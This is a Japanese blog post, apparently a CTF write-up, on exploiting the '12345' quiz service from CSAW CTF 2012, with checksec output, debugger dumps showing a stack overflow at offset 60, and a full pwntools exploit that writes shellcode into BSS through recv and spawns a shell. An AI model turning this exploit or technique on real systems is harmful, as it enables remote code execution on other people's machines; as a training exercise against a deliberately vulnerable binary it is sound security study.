mattun-martの日記

セキュリティとかCTFとか.早く入門したい.

pwnlist baby 12345

下調べ

mattun-mart@4ctf:~/pwn/baby/12345$ file 12345 | sed -e "s/,/\n/g"
12345: ELF 32-bit LSB  executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=09a2a7c2ebaff247534af024496e08f31212a6be
 not stripped
mattun-mart@4ctf:~/pwn/baby/12345$ checksec.sh --file 12345
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   12345

ubuntu14.04 64bitで動かしてます.
NX,SSPなどが無効.

解析

実行ファイルを起動するとポート12345で接続を待ち受けるのでncコマンドを使って接続.
接続するとクイズが始まる.
クイズに正解するとプログラムは終了し,間違えるともう一度解答することができる.

mattun-mart@4ctf:~/pwn/baby/12345$ nc localhost 12345
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

Category: Movies	 **Answers can have spaces & case insensitive**

WarGames: The launch code that Joshua "figures out" for himself
at the end of the movie was ______
Answer: aaaa
WRONG. Try again. Bye.

That's too bad. Try one more time!

Answer: aaa
WRONG. Try again. Bye.
 

いろいろ入力して遊んでいると,再解答時に大量の文字列を送るとプログラムが終了する.

mattun-mart@4ctf:~/pwn/baby/12345$ nc localhost 12345
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

Category: Movies	 **Answers can have spaces & case insensitive**

WarGames: The computer that constantly plays wargames codenamed is _____ 
Answer: a                                                            
WRONG. Try again. Bye.

That's too bad. Try one more time!

Answer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

デバッガで追っていくと,以下のようにEIPが入力で書き変わってしまっていることがわかる.

[----------------------------------registers-----------------------------------]
EAX: 0xffffffff 
EBX: 0xf7fc3000 --> 0x1acda8 
ECX: 0xf7e158fc --> 0x9 ('\t')
EDX: 0xf7fc3000 --> 0x1acda8 
ESI: 0xffffcd84 --> 0x4141 ('AA')
EDI: 0xffffd184 --> 0x1 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcff0 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffcff0 ('A' <repeats 200 times>...)
0004| 0xffffcff4 ('A' <repeats 200 times>...)
0008| 0xffffcff8 ('A' <repeats 200 times>...)
0012| 0xffffcffc ('A' <repeats 200 times>...)
0016| 0xffffd000 ('A' <repeats 200 times>...)
0020| 0xffffd004 ('A' <repeats 200 times>...)
0024| 0xffffd008 ('A' <repeats 200 times>...)
0028| 0xffffd00c ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

なぜEIPが書き変わってしまったかというと次の命令が原因.
EDI(0xffffcfb0)に入力した内容をコピーしているのだが,このアドレスの下にEBP(0xffffcfe8)が存在するため,文字数が多いとEBPを書き換えてしまう.

[----------------------------------registers-----------------------------------]
EAX: 0xffffcfb0 --> 0xf7fc3c20 --> 0xfbad2088 
EBX: 0xf7fc3000 --> 0x1acda8 
ECX: 0x84 
EDX: 0xf7fc3000 --> 0x1acda8 
ESI: 0xffffcbb0 ('A' <repeats 200 times>...)
EDI: 0xffffcfb0 --> 0xf7fc3c20 --> 0xfbad2088 
EBP: 0xffffcfe8 --> 0xffffd008 --> 0xffffd0f8 --> 0xffffd108 --> 0x0 
ESP: 0xffffcb20 --> 0xffffcbb0 ('A' <repeats 200 times>...)
EIP: 0x8048e07 (<q_generate+272>:	rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi])
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e00 <q_generate+265>:	mov    esi,eax
   0x8048e02 <q_generate+267>:	lea    eax,[ebp-0x38]
   0x8048e05 <q_generate+270>:	mov    edi,eax
=> 0x8048e07 <q_generate+272>:	rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
   0x8048e09 <q_generate+274>:	lea    eax,[ebp-0x38]
   0x8048e0c <q_generate+277>:	mov    DWORD PTR [esp],eax
   0x8048e0f <q_generate+280>:	call   0x8048b6e <v>
   0x8048e14 <q_generate+285>:	mov    DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcb20 --> 0xffffcbb0 ('A' <repeats 200 times>...)
0004| 0xffffcb24 --> 0x213 
0008| 0xffffcb28 --> 0x400 
0012| 0xffffcb2c --> 0x0 
0016| 0xffffcb30 --> 0x0 
0020| 0xffffcb34 --> 0x61 ('a')
0024| 0xffffcb38 --> 0xd78 ('x\r')
0028| 0xffffcb3c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048e07 in q_generate ()

二つのアドレスの差は56なので,60文字以降の入力でリターンアドレスを書き換えられることになる.
これで,自由にEIPを操作できるようになった.

Exploit

NXが無効なので,BSS領域シェルコードを積んでそこに飛んでやることにする.
BSS領域への書き込みはrecv関数を利用する.
以下Exploitコード.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct

host = 'localhost'
port = 12345

conn = remote(host, port)

bss_addr = 0x804b0a0
elf = ELF('./12345')
recv_addr= elf.plt['recv']

shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

payload = "A" * 60
payload += p32(recv_addr) 
payload += p32(bss_addr) 
payload += p32(4) 
payload += p32(bss_addr)
payload += p32(len(shellcode))
payload += p32(0) 

conn.recv()
conn.send("\n")
conn.recv()
conn.send(payload)
conn.send(shellcode)
conn.interactive()

結果

mattun-mart@4ctf:~/pwn/baby/12345$ python exploit.py 
[+] Opening connection to localhost on port 12345: Done
[*] '/home/mattun-mart/pwn/baby/12345/12345'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
$ ls
12345
dump
exploit.py
peda-session-12345.txt